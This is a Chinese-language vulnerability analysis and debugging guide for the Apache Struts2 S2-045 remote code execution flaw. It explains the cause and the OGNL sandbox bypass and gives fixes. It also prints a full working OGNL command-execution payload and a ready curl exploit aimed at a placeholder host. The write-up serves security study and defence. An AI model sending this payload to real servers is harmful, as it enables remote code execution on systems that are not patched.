Struts漏洞 S2-045 调试学习
字数 1338 2025-08-29 08:32:09
Apache Struts2 S2-045漏洞分析与调试指南
漏洞概述
S2-045是Apache Struts2框架中的一个远程代码执行漏洞,影响版本包括:
- 2.3.5 - 2.3.31
- 2.5 - 2.5.10
该漏洞允许攻击者通过构造恶意的Content-Type头,在目标服务器上执行任意命令。
漏洞成因
漏洞的核心原因在于:
- 当请求的Content-Type包含"multipart/form-data"时,Struts2会使用JakartaMultiPartRequest进行解析
- 在异常处理过程中,错误信息被捕获并传递给了OGNL表达式解析器
- 攻击者可以通过构造恶意的OGNL表达式实现远程代码执行
漏洞利用分析
典型Payload结构
%{
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(#_memberAccess?(#_memberAccess=#dm):(
(#container=#context['com.opensymphony.xwork2.ActionContext.container']).
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ognlUtil.getExcludedPackageNames().clear()).
(#ognlUtil.getExcludedClasses().clear()).
(#context.setMemberAccess(#dm))
)).
(#cmd='id').
(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).
(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).
(#p=new java.lang.ProcessBuilder(#cmds)).
(#p.redirectErrorStream(true)).
(#process=#p.start()).
(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).
(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).
(#ros.flush())
}
Payload解析
-
权限绕过部分:
- 获取默认的OGNL成员访问权限(DEFAULT_MEMBER_ACCESS)
- 清除OGNL的安全限制(excludedPackageNames和excludedClasses)
- 设置新的成员访问权限
-
命令执行部分:
- 检测操作系统类型(Windows或Linux)
- 根据操作系统构造相应的命令执行参数
- 创建ProcessBuilder执行命令
- 将命令执行结果输出到HTTP响应中
利用示例(CURL)
curl -i -s -k -X $'POST' \
-H $'Content-Type: %{(#fuck=\'multipart/form-data\').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context[\'com.opensymphony.xwork2.ActionContext.container\']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd=\'id\').(#iswin=(@java.lang.System@getProperty(\'os.name\').toLowerCase().contains(\'win\'))).(#cmds=(#iswin?{\'cmd.exe\',\'/c\',#cmd}:{\'/bin/bash\',\'-c\',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}' \
-H $'Content-Length: 0' \
$'http://target.com/path/'
调试分析
关键调试点
-
请求处理入口:
Struts2PrepareAndExecuteFilter是请求的入口点- 通过
web.xml配置拦截所有请求
-
Content-Type检查:
- 检查请求头中是否包含"multipart/form-data"
- 如果包含,则使用
JakartaMultiPartRequest进行解析
-
OGNL解析入口:
com.opensymphony.xwork2.util.TextParseUtil.translateVariables- 该方法负责解析字符串中的OGNL表达式(由${}或%{}包裹)
-
表达式执行:
com.opensymphony.xwork2.ognl.OgnlUtil#compileAndExecuteognl.ASTVarRef#setValueBody- 这些方法最终执行OGNL表达式
安全机制绕过原理
OgnlValueStack通过setOgnlUtil初始化securityMemberAccess- 攻击payload清除OGNL的安全限制:
excludedClassesexcludedPackageNamesexcludedPackageNamePatterns
- 设置新的成员访问权限(
setMemberAccess),绕过沙箱限制
修复建议
- 升级到Struts2的安全版本:
- 2.3.32或更高
- 2.5.10.1或更高
- 临时缓解措施:
- 在web.xml中限制Content-Type头的格式
- 使用WAF拦截包含恶意OGNL表达式的请求
参考资源
通过深入理解S2-045漏洞的原理和利用方式,安全研究人员可以更好地防御此类漏洞,同时也为Struts2应用的安全开发提供参考。